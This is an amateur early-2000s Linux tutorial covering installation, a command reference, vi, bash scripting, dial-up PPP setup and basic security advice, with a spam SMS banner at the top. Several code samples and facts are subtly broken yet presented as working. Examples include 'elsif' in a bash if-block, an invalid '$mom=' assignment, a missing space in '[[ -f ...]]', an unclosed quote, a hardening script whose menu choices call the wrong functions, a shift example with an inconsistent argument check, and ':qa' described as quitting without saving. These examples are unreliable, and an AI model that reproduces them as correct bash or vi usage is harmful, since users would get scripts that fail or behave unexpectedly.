What will you learn today?
11/07/2003
Carbonize
>>>>> Free Cellphone call detector (US Only) <<<<<

To have your message appear here simply send an SMS to +31641303196 and start your message with 9013 and a space

Synfire's Quick Guide to Linux


Table of Contents
==================

1. Installing Linux
2. Commands
3. vi & vim
4. Shell Scripts
	a. Introduction to Shell Scripts
	b. Creating and Running Shell Scripts
	c. Variables
	d. The Significance of Quotes
	e. The Test Command
	f. Conditional Statements
	g. Iteration Statements
5. Connecting to the Internet
6. Securing your Linux Box
Installing Linux (MDK8.0 based setup)

  First step is to start your computer and insert the CD-ROM or BootDisk.
You should then be prompted with a screen that says "Press <F1> for more options", if you want to install Linux4Win then hit F1. This will display a screen with a prompt at the bottom that says "boot: " type `lnx4win' and hit enter.
Doing Nothing will start the installation in normal mode. Now we are on our way, the first choice Linux should give you is the Language.
Highlight the language you speak best and click OK. Now you should be faced with the License Agreement which basically says that Linux is free software just click Accept, don't worry about reading this.
Now, a screen pops up asking what form of installation you would like to preform choose Recommended. Now most steps will be automatically choosen for you such as mouse and keyboard settings. Now what happens next depends on how good of a computer you have and what kind of setup you chose in the beginning.
You'll probably be faced with a screen that says "The DrakX Partitioning wizard found the following solutions". If you chose Linux4Win then highlight the "Use the free space on the Windows partition" choice and click Ok, otherwise highlight "Erase Entire Disk" and click Ok.
Next you will see a Package Group Selection screen with a lot of Options. Choose what type of packages you want, I usually choose: Configuration, Utilities, Console Tools, Network Computer (client), Developement, and GNOME. If you would like to customize what packages you want you can click the Individual Package Selection also, and click Ok.
Now you should have a Tree style option of packages that you can choose what you want from there. Now click Ok to start the installation proccess and now you must wait... and wait... and wait... the packages take a good while to install so go have dinner, play with the dog, or what ever you can do until this finishes.
Once that has finished you will be asked to set the root password. MAKE THIS VERY HARD TO GUESS. In fact, for linux, `biggreenpinapple' is not a hard password try things like, i1n2s3a4it5y or b1ggr33np1n4ppl3 be creative and make it hard for the criminals.
Now after you type in your password click Ok. Now you should be asked to Enter a User. This user is a non-privilaged user. Make sure you create one and set its password, if you click Advanced Options you can choose the terminal type of the user, I suggest '/bin/bash' or '/bin/sh' the reason is that the shell scripting tutorial in this text is Bash scripting and everything in the Bash shell should work with Sh.
Once again click Ok. Finally a summary will be displayed and you can make any last minute configuration changes before clicking Ok. Now the computer should restart, Remove the boot media. And wait while you boot into your new Linux Operating System.
Commands

			List of Commands
			
! ............. repeats commands
alias  ........ this allows the user view the current aliases
cal ........... shows a calendar
cat ........... concatenates and  prints a file
cd ............ changes directories
chmod ......... changes the permission on a file
chown ......... changes the individual ownership of a file
cmp ........... compairs two files
comm .......... compares two sorted files line by line
cp ............ copies file to another location
date .......... returns the date and time
df ............ shows all mounted drives on your machine
diff .......... displays the differences between two files
du ............ shows the disk usage in blocks for a directory
echo .......... echoes the data to the screen or file
env ........... lists the current environment variables / sets an NAME
		to a VALUE in the environment then runs a COMMAND
expr .......... evaluates a mathmatical formula
find .......... finds a file
gcc ........... GNU c compiler
grep .......... searches for a pattern within a file
gawk .......... this allows users to search for patterns within a file
info .......... gives detailed information on any command
kill .......... stops a running process
ln ............ creates a link between two files
lpr ........... copies the file to the line printer
ls ............ lists the files in a directory
mail .......... allows the user to send/receive mail
man ........... displays a brief discription of a particular command
mkbootdisk .... creates a boot disk
mkdir ......... makes directory
more .......... displays a data file to the screen
mv ............ used to move or rename files
nohup ......... allows a command to continue running even when you log out
passwd ........ changes your password
ps ............ Lists the current processes running
pwd ........... displays the name of the working directory
rm ............ removes files
rmdir ......... removes directories
set ........... lists all the variables in the current shell
shutdown ...... restarts or shutsdown you computer
sleep ......... causes a process to become inactive
sort .......... sorts files
split ......... divides a file
stty .......... sets the terminal options
tar ........... Allows access to compress and decompress tarball files
touch ......... creates an empty file or updates the time/date stamp on a file
troff ......... outputs formatted output
tset .......... sets the terminal type
umask ......... specifies a new creation mask
vi ............ a powerful text editor
vipw .......... opens the vi editor as well as password file for editing
wc ............ prints the number of bytes, lines, and words in a file
who ........... displays information on other people online
write ......... send a message to another user



			Command Usage
    (not all commands are explained here, just the most common)
    
cat:	cat [OPTION] [FILE]...
		-A	--show-all (same as -vET)
		-b	--number-nonblank (number nonblank output lines)
		-e	same as -vE
		-E	--show-ends (displays a $ at the end of each line)
		-n	--number (number all output lines)
		-s	--squeeze-blank (never more than one blank line)
		-t	same as -vT
		-T	--show-tabs (displays tab characters as ^I)
		-u	(ignored)
		-v	--show-nonprinting (use ^ and M- notation, except
			for LFD and TAB)



cd:	cd [-PL] [dir]
		-P	use physical directory structure
		-L	follow symbolic links
		
chmod:	chmod [OPTION] MODE [,MODE]... [FILE]...
		-c	only report when change is made
		-f	silent output
		-v	output a diagnostic for every file processed
		-R	change files and directories reclusively

		MODE: format for a mode is...
			[ugoa] [[+-=][rwxXstugo]]
		
		the first part [ugoa] controls what users has access to 
		the file: the user that owns it(u), other users in the 
		files group(g), other users NOT in the files group(o),
		all users(a).
		
		the second part starts of with a +, -, or an =. The +
		adds the permission selected to the file, - takes the
		permission selected away from the file, and = sets the
		permission selected as the only permission the file has.

		the second part ends with a permission: read(r), write(w),
		execute(x), execute only if the file is a directory or 
		already has execute permissions for some user(X), set the
		group or user ID on execution(s), save program text on swap
		device(t), the permissions the user who owns the file 
		currently has on it(u), the permissions the other users
		in the file's group has on it(g), and the permissions the
		other users NOT in the file's group has on it(o).
		
		Note: chmod never changes the the permissions of a symbolic
		link, so don't even try! ;)
		
chown:	chown [OPTION] OWNER[:[GROUP]] FILE...
		chown has the same OPTIONS as chmod
		
cmp:	cmp [OPTION]... FILE1 [FILE2]
		-c	--print-characters (outputs differing bytes as
			characters)
		-i X	--ignore-initial=X (ignore first X bytes of input)
		-l	--verbose (outputs offsets and codes of all differing
			bytes)
		-s	--silent (output nothing; yield exit status only)
		
comm:	comm [OPTION]... LEFT_FILE RIGHT_FILE
		-1	suppress lines unique to left file
		-2	suppress lines unique to right file
		-3	suppress lines unique to both files
		
cp:	cp [OPTION] SOURCE DEST
		-a	--archive (same as -dpR)
		-b	--back-up (make a backup of each destination file)
		-d	--no-dereference (preserve links)
		-f	--force (remove existing destinations, never prompt)
		-i	--interactive (prompt before overwrite)
		-l	--link (link files instead of copying)
		-p	--preserve (preserve file attributes if possible)
		-P	--parents (append source path to directory)
		-r	copy reclusively, non-directories as files
			WARNING: use -R when copying special files like
			FIFO or /dev/zero.
		-R	copy directories reclusively
		-s	make symlink instead of copying
		-S	--suffix=SUFFIX (overide the usual backup suffix)
		-u	--update (copy only when SOURCE file is newer than
			the DEST file).
		-v	--verbose (explaine what is being done)
		-x	--one-filesystem (stay on this filesystem)
		
date:	date [OPTION] [+FORMAT]
		-d	--date=STRING (display time discribed by STRING)
		-r	--reference=FILE (display last modification date
			of FILE)
		-R	--rfc-822 (output RFC-822 compliant date string)
		-s	--set=STRING (set time described by STRING)
		-u	--utc-universal (print or set Coordinated Universal
			Time)
			
df:	df [OPTION] [FILE]
		-h	--human-readable (prints sizes in human readable
			format: 3K, 234M, 3G)
		-i	--inodes (list inodes information instead of block
			usage)
		-k	--kilobytes (same as --block-size=1024)
		-m	--megabytes (same as --block-size=1048576)
		
diff:	diff [OPTION] FILE1 FILE2
		-a	--text (treat all files as text)
		-i	--ignore-case (consider UPPER- and LOWER- case the same)
		-w	--ignore-all-spaces (ignore all whitespaces)
		-b	--ignore-space-change (ignore amount of whitespaces)
		-B	--ignore-blank (ignore changes in blank lines)
		-q	--quiet (output only whether files differ)
		-e	--ed (output an ed script)
		-n	--rcs (output an RCS format diff)
		-y	--side-by-side (output in two columns)
		-s	report when two files are the same
		-k SUF	--backup[=SUF] (compare file(s) with backup(s) ending
			with SUF)
		-x PAT	--exclude=PAT (exclude files that match PAT
		-H	--speed-large-files (assume large files and many 
			scattered changes)
			
du:	du -sh [FILE]    (fuck all the other options that is the best)


cho:	echo [OPTION] [STRING]...
		-n	do not output the trailing newline
		-e	enable interpretation of the backslash-escaped
			characters
		-E	disable interpretation of those sequences in STRINGs

env:	env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]... ]
		-i	--ignore-environment	start with an empty environment
		-u	--unset=NAME	remove variable from the environment
		
info:	info [FILE]

kill:	kill [OPTION] pid
		-s SIGNAL	--send (sends the specified signal)
		-p 		--print-pid (prints the pid of the named
				processes)
				
ln:	ln [OPTION]... TARGET [LINK_NAME]
		-b	--backup[=CONTROL] (make a backup of each existing
			destination file)
		-f	--force (remove existing destination file)
		-i	--interactive (prompt whether to remove destinations)
		-S	--suffix=SUFFIX (override the usual backup suffix)
		-v	--verbose (print the name of each file before linking)
		
ls:	ls [OPTION] [FILE...]
		-a	list all
		-A	list all except . and ..
		-f	do not sort
		-h	print sizes in human readable form
		-i	print index number of each file
		-m	list files side by side the width of the screen
			seperated by commas
		-o	use long listing format
		-Q	enclose entry names in double-quotes
		-r	reverse order while sorting
		-R	list subdirectories reclusively
		-s	print size of each file, in blocks
		-S	sort by file size
		-t	sort by modification time
		-U	do not sort, list in directory order
		-X	sort alphabeticaly by extension
	
man:	man COMMAND

mkdir: mkdir [OPTION] DIRECTORY...
		-m	--mode=MODE (set permission mode as in chmod)
		-p	--parents (no error if existing)
		
mv:	mv SOURCE DEST

nohup:	nohup COMMAND [ARG...]

passwd:	passwd [OPTION] USERNAME
		-l	locks an accounts password (root only)
		--stdin	reads the password from the command line
		-u	unlocks an accounts password (root only)
		-d	disables an accounts password (root only)
		-S	displays information about a users password (root only)
		
rm:	rm [OPTION] FILE...
		-d	unlink directory, even if non-empty (root only)
		-f	ignore non-existant files, never prompt
		-i	prompt before removal
		-r	remove contents of a directory reclusively
		-v	explain what is being done

rmdir:	rmdir DIR

shutdown:	shutdown [ -r | -h ] now [MESSAGE TO TERMINALS]
			-r	restart
			-h	halt on shutdown

sleep:	sleep NUMBER[SUFFIX]
		NUMBER		how many of the suffix
		SUFFIX		(s) seconds (m) minutes (h) hours (d) days

tar:	tar [OPTION] FILE...
		-t	lists the contents of the archive
		-x	extracts the contents of the archive
		-c	create a new archive
		-d	find differences between archives
		-r	append files to the end of an archive
		-u	append only files newer than copy in archive
		-A	append files to an archive
		
touch:	touch [OPTION] FILE...
		-a	access time only
		-c	do not create any files
		-d	--date=STRING (parse STRING and use it instead of 
		  	current time)
		-m	change only the modification time
		-t STAMP use [[CC]YY]MMDDhhmm[.ss] instead of current time
		
vi:	vi FILE

wc:	wc [OPTION] FILE...
		-c	print the byte counts
		-l	print the newline counts
		-L	print the length of the longest line
		-w	print the word count

who:	(when using who it is best to write your own version but if you
	can't just use the following syntax for the best results)
	who -HTu
	
write: write USER [ttyname]
VI and VIM:
  Now we get to the most important skill in using a computer, Text Editing.
Think about it if you can't use the text editor how are you going to be able to write programs, or texts. Some of you might say "Well, Linux has emacs with it's friendly user interface!". That is true but not everyone that installs a system installs emacs. See the thing about vi is that almost every Linux installation installs it by default. And vi and vim really isn't that hard to use.

  So, lets begin. To start type 'vi [filename]' or just 'vi' if you haven't decided what the filename should be. Now you should be in vi, vim, or nvi. vim and nvi are just upgrades to vi, they run off the same commands they just have thier own extra commands. When you use vi you have to get aquainted with the different modes. There are 3 modes in vi: command, insert, and replace. Basically, command mode is where you enter commands for vi, such as Save and Exit, Save as.., etc. Insert mode is for, you guessed it, inserting characters into your document. And replace mode is like insert mode except your not adding characters your overwriting them. Here are the basic and most common commands for vi:

Command Mode Commands:
			l ................. Move Right
			h ................. Move Left
			k ................. Move Up
			j ................. Move Down
		       dd ................. Delete Current Line
			x ................. Delete Current Letter
			i ................. Switch to Insert Mode
			u ................. Undo
		    <CTRL-R> .............. Redo
		    	:w ................ Save
			:w [filename] ..... Save as...
			:qa ............... Exit Without Save
			:wqa .............. Save and Exit
			[X]Y .............. Copy Current Line and X lines below
			[X]p .............. Paste between Current and Next line
					    X number of times.
			
Insert Mode Commands:
			<CTRL-W> .......... Delete Previous Word
			<BACKSPACE> ....... Delete Previous Letter
			<DELETE> .......... Delete Next Letter
			<ESC> ............. Switch to Command Mode
Shell Scripts

Introduction to Shell Scripts
  The scripting language we will be using is the Bourne Again Shell, or Bash Scripting. I chose this language because I like bash, I use bash, and I recommend bash. Shell Scripting is an important skill when it comes to Linux, or any UNIX based operating system, because it automates tasks and helps you to create some pretty kewl, program like, scripts.

Creating and Running Shell Scripts
  Basically, to create a shell script you open up vi and place the commands you want the shell to execute in the text file. Then you place an exec call to the interpreter on the first line. After that you save the file and at the terminal call chmod +x to make the file executable. To some of you that may sound a bit technical but it really isn't! I will break this down with an example script:
 
#!/bin/bash  # This is the interpreter it is located at `/bin/bash'
	     # The first line will be in all bash scripts
	     # if you were writing a tcsh script it would be
	     # represented by `#!/bin/tcsh'
	     
# remount.sh - This script remounts the floppy drive
# This is a comment prompt, comments are overlooked by the interpreter
# and are only used to make modifiying files easier.
      
umount /mnt/floppy 	# This part unmounts the floppy drive

mount /mnt/floppy 	# This part mounts the floppy drive

	Now that we have written this file in vi save the file as remount.sh.
Now type `:wqa' to save and exit. Now at the command prompt type:

root@localhost /]# chmod a+x remount.sh

	This will make remount.sh executable. Now you should place this file
in the /bin directory, do so by typing:

root@localhost /]# mv remount.sh /bin

	Now all there is left to do is execute the script by typing its name
in the command prompt like so:

root@localhost /]# remount.sh
  Congratulations, you have just written and executed your first shell script.
The basic usage for this is that on some versions of linux you have to unmount and re-mount the floppy and cdrom drives everytime you change a disk. Now instead of typing two lines of code each time you change disks you just insert the new disk and type `remount.sh'. Another way to execute the shell script without having to move them all to the /bin directory is with the use of your shells execute command. If you use bash, wich I recommend you do, you would use the 'dot' command:
root@localhost /]# . remount

tcsh users type:

root@localhost /]# source remount
  The number of programs you can execute in a shell script is unlimited you could create a shell script just to execute one or two commands or you could create one to do a thousand commands it's all up to you.

Variables
  In this next section, you will learn about one of the most useful tools in any programming/scripting language... VARIABLES.
I'm sure if you are old enough to read this document you surely have dealt with variables in math class (ie. x+2=5 x=__ ?) Now to set a value to a variable you simply type the variable name followed by and equals sign followed by the value:
name=Jack
age=22
  Note in the example that the variable can hold strings (alphabetical characters) or integers (numerical values). Also note that when assigning a variable there are no spaces on either side of the equals.

** I can't stress enough that this is bash scripting, other scripting languages such as tcsh, csh, zsh, or pdksh use a different syntax **

  Now that we have stored our information into the variables how do we get this information back out? Easy! Just preceed the variable with a $ sign. The following example will print the `name' variable assigned earlier to the terminal screen:
echo $name

	The output during execution would be:

root@localhost /]# 
Jack
root@localhost /]#
  Now what if you wanted to pass arguments from the command line into the shell script? Thats not so hard either! All shell interpreters have special variables that read from the command line. These variables are called `positional parameters'. Here is an example of the remount program that lets you choose the device you would like to remount.
#!/bin/bash

# remount - Advanded remount program

umount $1
mount $1
  Now you can execute this with either `remount /mnt/floppy' or `remount /mnt/cdrom' and the file would still work. Now a Positional parameters variable is a number 1-9 the number 1 is the first argument the number 2 is the second and so on. There are many more built in variables a shell environment has. Here is a list of these:
Variable 		Description
$# .................... Stores the number of command-line arguments passed
$? .................... Store the exit value of the last executed command
$* .................... Stores all the arguments on the command-line
$@ .................... Stores all the arguments on the command-line,
			individually double-quoted
$0 .................... Holds the name of the shell script (ie. remount)
$LOGNAME .............. Holds the username of the current user
The Significance of Quotes
  The types of quotes you use are very important. There are two types of quotes, single ('') and double (""). Double quotes are the least powerful of the two. It hides whitespaces but all other special characters are still interpreted by the shell. This is expecially good for sting values with more than one word:

name="Jack Ripper"

  This sets both Jack and Ripper to be assigned as though the space was a letter. If you typed:

name=Jack Ripper

  The interpreter wouldn't understand and would return and error. Single quotes are the more powerful of the two. They assign exactlly what is inputed. lets take a look at the difference:
fname=Jack
lname=Ripper

flcone="$fname $lname"
flctwo='$fname $lname'

echo "$flcone is in double-quotes"
echo "$flctwo is in single-quotes"

	Now when executed you can see what the difference is:

root@localhost /]# . double-single_test.sh
Jack Ripper is in double-quotes
$fname $lname is in single-quotes
root@localhost /]# 
  Notice that the single-quotes did not interpret the variables, instead wrote the variable names to the screen. Now you have learned about how quotes hide special characters from the interpreter, but there is another tool used called backslash. Here is a comparison of the double-quote name and the back- slash name:
(using double-quotes)

name="Jack Ripper"

(using backslash)

name=Jack\ Ripper
  Both of these have the same meaning just written differently. The main usage of the backslash character is to hide posible functions from the shell:

price=\$100.00

  This example keeps price from being assigned the first argument on the command line, lets say you added the number 3 as the first argument of this script any you didn't add the backslash. The value of `price' would be changed to 300.00 instead of $100.00 (understand?).

  Another quote is the back-quote (``). This is use when you want to place the output of a command into a variable. So if you wanted to store the output of who into a variable named vwho, you would do this:

vwho=`who`

  I will end this section with a small script called greetings.sh:
#!/bin/bash

# greetings.sh - prints a degrating message to the current user.

me=`whoami`
amount=\$0.01
$mom='$0.01'
echo "$me is worth $amount, that's $mom more than what I payed for $me 's Mom!"
The Test Command
  The test command is use to evaluate truth of an expression. There are two ways to write a test, but, I will focus mainly on just one of them. They are:

test expression

or

[ expression ]

  Our main focus will be on the last one because when scripting this makes your program look more like a program than just a list of commands. You will see what I'm talking about later on in the next few chapters.

  The expressions are evaluated as true of false. This is done with the use of operators. There are four types of operators, and they are: integer, string, file, and logical. Here is a list of each of these:
Table 1.1
Integer Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition                                           |
+----------------------------------------------------------------------------+
|   expr1 -eq expr2  |	Returns True if expr1 is equal to expr2              |
+----------------------------------------------------------------------------+
|   expr1 -ge expr2  |	Returns True if expr1 is greater than or equal to    |
|    		     |	expr2                                                |
+----------------------------------------------------------------------------+
|   expr1 -gt expr2  |	Returns True if expr1 is greater than expr2          |
+----------------------------------------------------------------------------+
|   expr1 -le expr2  |	Returns True if expr1 is less than or equal to expr2 |
+----------------------------------------------------------------------------+
|   expr1 -lt expr2  |	Returns True if expr1 is less than expr2	     |
+----------------------------------------------------------------------------+
|   expr1 -ne expr2  |	Returns True if expr1 does NOT equal expr2           |
+----------------------------------------------------------------------------+

Table 1.2
String Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition					     |
+----------------------------------------------------------------------------+
|     str1 = str2    |	Returns True if str1 is identical to str2            |
+----------------------------------------------------------------------------+
|     str1 != str2   |	Returns True if str1 is not identical to str2        |
+----------------------------------------------------------------------------+
|      -n str        |	Returns True if the length of str is greater than    |
|		     |	zero						     |
+----------------------------------------------------------------------------+
|      -z str	     | 	Returns True if the length of str is equal to zero   |
+----------------------------------------------------------------------------+
|       str          |	str in a Test command without any other operators    |
|		     |	returns True if str is not equal to NULL             |
+----------------------------------------------------------------------------+

Table 1.3
File Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition					     |
+----------------------------------------------------------------------------+
|     -d filename    |	Returns True if filename is a directory		     |
+----------------------------------------------------------------------------+
|     -f filename    |	Returns True if filename is a file		     |
+----------------------------------------------------------------------------+
|     -r filename    |	Returns True if filename can be read 		     |
+----------------------------------------------------------------------------+
|     -s filename    |	Returns True if filename has a non-zero length       |
+----------------------------------------------------------------------------+
|     -w filename    |	Returns True if filename can be written to     	     |
+----------------------------------------------------------------------------+
|     -x filename    |	Returns True if filename is executable		     |
+----------------------------------------------------------------------------+

Table 1.4
Logical Operators
+----------------------------------------------------------------------------+
|	Operator     |	Definition					     |
+----------------------------------------------------------------------------+
|     ! expression   |	Returns True if expression is false		     |
+----------------------------------------------------------------------------+
|    exprA -a exprB  |	Returns True if exprA and exprB are both true        |
+----------------------------------------------------------------------------+
|    exprA -o exprB  |	Returns True if exprA or exprB is true		     |
+----------------------------------------------------------------------------+
Conditional Statements
  Bash has two forms of conditional statements available in scripting. Conditional Satements allow you to adapt your program to your needs depending on key elements that may change. The two conditional statements in the bash shell are the if statement and the case statement.

the IF Statement-
  This statement is set up to be human readible as possible. The basic format for the if statement is as follows:

if [ expression ]
then

commands1

elif [ expression2 ]
then

commands2

else

commands3

fi
  This basically reads: "if `expression' is true `then' execute `commands' `elif'(expressed as else if) `expression2' is true `then' execute `commands2' else execute `commands3' end if.
So, what happens here is that the shell tests `expression' if expression is true then the shell executes commands1, but if the expression was false then elif tells the shell to test `expression2', once again if `expression2' is true then commands2 is executed, and if `expression2' is false then commands3 is executed before exiting the if statement. Note when using the if statement if the expression is false the commands are not executed and the shell check for an else or elif statement this continues until the evaluation turns up true, else always turns up true.

  Now it is about time for an example. This example script is used to create a speedy shutdown proccess for linux:
--------------------(cut here)------------------------
#!/bin/bash

# bye - This script will either shutdown or restart your computer

reboot="-r" 	# sets the -r flag
shutdown="-s"	# sets the -s flag

if [ "$#" -ne 1 ]	# makes sure that an argument was entered
then

echo "Usage: $0 [OPTION]"
echo "           -r	reboot"
echo "		 -s	shutdown"

elsif [ "$1" = $reboot ]	# executes reboot command if the argument is -r
then

shutdown -r now

elsif [ "$1" = $shutdown ]	# executes a shutdown if the argument is -s
then

shutdown -h now

else  		# if the argument is not -r, -s, or NULL then an error is
		# displayed
		
echo "Error: Option not available!"
echo "Usage: $0 [OPTION]"
echo "		-r	reboot"
echo "		-s	shutdown"

fi

---------------------(cut here)--------------------------
the CASE Statement-
  The case statement allows you to compare a pattern with other patterns and execute certain commands if the pattern matches. The syntax for this is:
case pattern in

pattern1)

commands1;;

pattern2)

commands2;;

pattern3)

commands3;;

*)

commands4;;

esac
  Now, pattern is compared to pattern1, pattern2, and pattern3. If pattern matches one of these the following commands are executed until it reaches the double semi-colons (;;). If none of the patterns match pattern then the commands after *) are executed until the double semi-colons. The *) pattern is a wildcard pattern. It will match any pattern. Always remember to end a case with esac.

(you may have noticed that in the if and case statements, to end them you simply type the word backwards "ie. if/fi and case/esac)

  Remember the bye script we wrote with the if statement? Here it is again but this time it is using the case statement:
---------------------------(cut here)---------------------------
#!/bin/bash

# bye2 - This script will either shutdown or restart your computer

case "$1" in

-s)

shutdown -h now
;;

-r)

shutdown -r now
;;

*)

echo "Usage: $0 [OPTION]"
echo "      -r	reboot"
echo "	    -s	shutdown"
;;

esac
------------------------------(cut here))-------------------------
Iteration Statements
  An iteration statement is just a big name for a looping statement. a looping statement makes your program (or script in this case) repeat a section until a certain aspect is satified. The most common looping statement is the FOR statement. The syntax of the for statement is as follows:
for variable in list

do

commands

done
  This form of the for statement executes `commands' for each item in the list. The list can be a variable with several words seperated by spaces, or a list of values inputed directly into the statement. Each time the statement loops `variable' is assigned the current value in the list. This is repeated until the last value is reached. Another version of the for loop is:
for variable

do

commands

done
  This form executes commands for every item in variable. This form of the for loop by default, assumes that all argument passed on the command-line are given to variable. This is the same as writing:

for variable in "$@"

do

commands

done
  Although this is the most used Iteration statement, I prefer to use the while statement whenever possible. The WHILE statement repeats the commands between do and done as long as long as the expression given is true:

while expression
do

commands

done
  The examples previous to this one were ones I came up with myself, but this example is the best I have seen to illustrate the while loop, and since this example works I don't see a reason to "Recreate the Wheel" so to speak:
---------------------------(cut here)-----------------------------
#!/bin/bash

# example-while.sh - This script list the parameters passed to the script
# in a numbered list

count=1

while [ -n "$*" ]

do

echo "$count .......... $1"

shift

count=`expr $count + 1`

done
----------------------------(cut here)-----------------------------
  This example does use commands that I haven't explained yet but, you should be able to get a good idea about how this works.

  Another looping statement I like better than for is the until state- ment. This is the total opposite of the while statement. The sytax is the practically the same, but the until statement executes the commands as long as the expression is FALSE!
until expression
do

commands

done
  If you really think about it, the until statement is really useless. anything you can write using an until statement you can alternatively write using the while statement. I leave wich one you want to use solely up to you. Just always remember that while tests for truth and until tests for false.

The Shift Command-
  Now that you have seen the shift command, I guess I should explain what the hell it is! Basically, shift moves the current values stored in the positional parameters (ie. $1,$ 2, $3...) one position to the left. Here is an example to clearify that for the technically declined ;) :
------------------------------(cut here))-------------------------------
#!/bin/bash

# shift_example.sh - This script better explains the shift command

if [ $# -ne 1 ]
then

echo "Please enter three arguments on the command-line."

else

echo "arguments before shift $1 $2 $3"

shift

echo "arguments after shift $1 $2 $3"
echo "Does that explain what shift does better?"

fi
-----------------------------(cut here)---------------------------------
  Shifts abilities doesn't stop there! You can actually specify how many times you want to move the positional parameters to the left by defining the amount as an argument to shift:

shift 3

  This example would be the same as:

shift
shift
shift

  This part of the shift command was added to keep the programmer from haveing to retype the shift command over and over again just to move a few arguments.
*******************************************************************************

  As I said before this is a bash shell scripting tutorial, But I would like to add a little info on another shell called pdksh. All the commands that I have discussed apply to bash scripting and pdksh scripting. But here is a feature of pdksh that does not apply to bash. The reason why I'm telling you this is the fact that this is a kick ass command and it saves alot of typing. See to do what this pdksh command does in bash you would have to type alot of if/case statements and just as many while/until loops! This command is the SELECT statement. Here is the syntax:
select menuitem [in item1 item2 item3 item4]
do

echo "Are you sure you want $menuitem? [y/n] "

read yorn

if [ $yorn = "y" -o $yorn = "Y" ]

then

break

fi

done
  The select command makes a numbered list of the items then lets the user select a menu option and stores the option chosen to the menuitem variable. If you want to practice on your bash scripting you could write a select program using bash and save it as "/usr/sbin/select" to give this option to your bash scripts. The syntax for executing select would be a bit different but it can be done! Trust me! ;)
********************************************************************************


  Right about now you might be asking yourself "Why in the hell did he go into a pdksh statement on a tutorial about bash scripting?" The answer is simple. It gave me a chance to suggest an exercise for you to do, while at the same time allowed me you introduce two new commands. The first of the two is the `read' command. This allows a user to input information into the script from within the script! This is the best way to get away from command-line programs and get into more interactive programming! Here is how it works:

read variable

  The read command waits for user input when the user types something everything the user types is saved into `variable'. Easy huh! OK now we go on to the second command introduced in the above script, the break command. The break command is used to exit a for, while, until, select, or repeat statements. (note: you won't be learning about repeat, it is a tcsh statement)

Functions-
  Functions are probably the best aspect of the high-level programming world. Functions, or subroutines as called in Perl, are blocks of code that you write for organizational purposes, to make your scripts more human readable, and to make your scripts smaller, this is possible because instead of rewriting the same thing over and over everytime you need it you can write it once in a function and place a call to the function everytime you need it. The syntax for a function is:
function1 () {

commands

}
  Once you have defined your function you can invoke, or call, it with this command:

function1 [param1 param2 param3 ...]

  Notice that you can pass any number of parameters to your function. Think of a function as a script within a script. The parameters work just like the command-line arguments. This example demonstates this:
----------------------------------(cut here)--------------------------------
#!/bin/bash

# stronger.sh - This script strengthens your linux security
# You may need to edit this for it to work on your version.
# Tested on MDK 7.1, MDK 7.2, and MDK 8.0

if [[ -f /usr/share/msec/lib.sh]]; then
  . /usr/share/msec/lib.sh
else
echo "Couldn't find /usr/share/msec/lib.sh"
exit 1
fi

stack_overflow () {

echo "Stack Overflow				[SECURED]"
AddRules "/lib/libsafe.so.1.3" /etc/ld.so.preload

}

umask () {

echo "User Masks				[SECURED]"
AddRules "if [[ \${UID} == 0 ]]; then umask 022; else umask 077; fi"/etc/profile
AddRules "if [[ \${UID} == 0 ]]; then umask 022; else umask 077; fi"/etc/zprofile
AddRules "PATH=\$PATH:/usr/X11R6/bin:/usr/games" /etc/profile quiet
AddRules "export PATH SECURE_LEVEL" /etc/profile
AddRules "PATH=\$PATH:/usr/X11R6/bin:/usr/games" /etc/zprofile quiet
AddRules "export PATH SECURE_LEVEL" /etc/zprofile

}

while [ $choice -ne 3 ]
do

echo "What would you like to do?"
echo " "
echo "1.	Add User Mask Protection"
echo "2.	Add Stack Overflow Protection"
echo "3. 	Exit
echo " "
echo "Enter a choice: "
read choice

if [ $choice -eq 1 ]
then

stack_overflow []

elif [ $choice -eq 2 ]
then

umask []

else

echo "Good-bye!"
exit 1

fi
---------------------------------(cut here)--------------------------------
This concludes the section on Shell Scripting. I suggest you read it about 3 or 4 times and learn it very well, because if you plan to use linux to to the best of it's power you will use scripting alot!!!

Connecting to the Internet
  For most operating systems connecting to the internet is as simple as double-clicking your mouse and entering a username and password. But for Linux it can be somewhat of a task in itself. This is how I connect to the internet and it should work for you, depending on what distro you use ( I use Slackware )

  Before I start the step by step instructions I want to explain a few things you will see in this text. First thing is the '0.0.0.0:' in Step 2. This is a null IP address, this means that your ISP will setup your IP for you. In most cases this will be what you want to put, this computer is connecting to a network that has a specified address. Now on to '/dev/cua1' in Step 2. This initializes your COM port. For those of you used to DOS/Windows COM ports I have included a chart for you to go by...
LINUX          DOS/WINDOWS
---------------------------
/dev/cua0      COM1
/dev/cua1      COM2
/dev/cua2      COM3
/dev/cua3      COM4
  The next thing is the next to last line of Step 2 where you input your username. In actuality you don't put your regular username, you put the username as the ISP will recieve it, mine is 'synf1r3.c4ee' you should call your ISP to find out how they recieve usernames, some ISP's use a email address login, such as NetZero, that looks like this:
'synfire@ISP.123.45.67.8.c4ee.com'
this too should be confirmed with yourISP.( NetZero has recently changed that configuration and dissallowed Linux users to dial into thier servers. )
Step by Step Instructions-

Step 1)  Open the '/etc/resolv.conf' file in vi and enter the following:

search YOURISPWEBPAGE.com
nameserver XXX.XXX.XXX.XX
nameserver XXX.XXX.XXX.XX

Step 2)  Open the '/etc/ppp/options' file in vi and enter the following:

0.0.0.0:
/dev/cua1
section
lock
crtscts
defaultroute
asyncmap 0
mtu 552
mtu 552
name username
YOURISPWEBPAGE.com one

Step 3)  Type 'linuxconf' then go to:
		>Config
			..>Networking
				..>ppp/slip/plip
and enter your ISP's connection number, enter your Username and Password, check the PAP box, and press customize, double check the phone number and change the modem speed where needed and click OK then exit Linuxconf.
Step 4)  Type 'linuxconf' again and go to:
		>Control
			..>Control Panel
				..>Control PPP/SLIP/PLIP Link
and click on ppp0 and press enter, you should now hear the modem start. Quickly exit linuxconf and when the modem stops type 'pppd' after about 10-15 seconds you will be connected.

Securing Your Linux Box
    "You are only as strong as your weakest link of defence."
      - Unknown -

  This text won't go into setting up LANS or WAN that you would do if you were running a large network that needs as much security as fort Knox, but it does go into things that the average user connecting to the internet should do. ( It is a VERY good idea to install a firewall of some sort, I prefer Bastille, on every computer that you connect to the internet. ) This section is seperated into subsections, numbered for ease of use.

1)
Passwords.

  Unfortunately, an uncrackable password does not exist. Any password, given time and effort, can be guessed either through brute force, algorithm translation programs (ATP), or social engineering. Since password cracking can be really time consuming, make it hard for any attacker who has grabbed your password file.
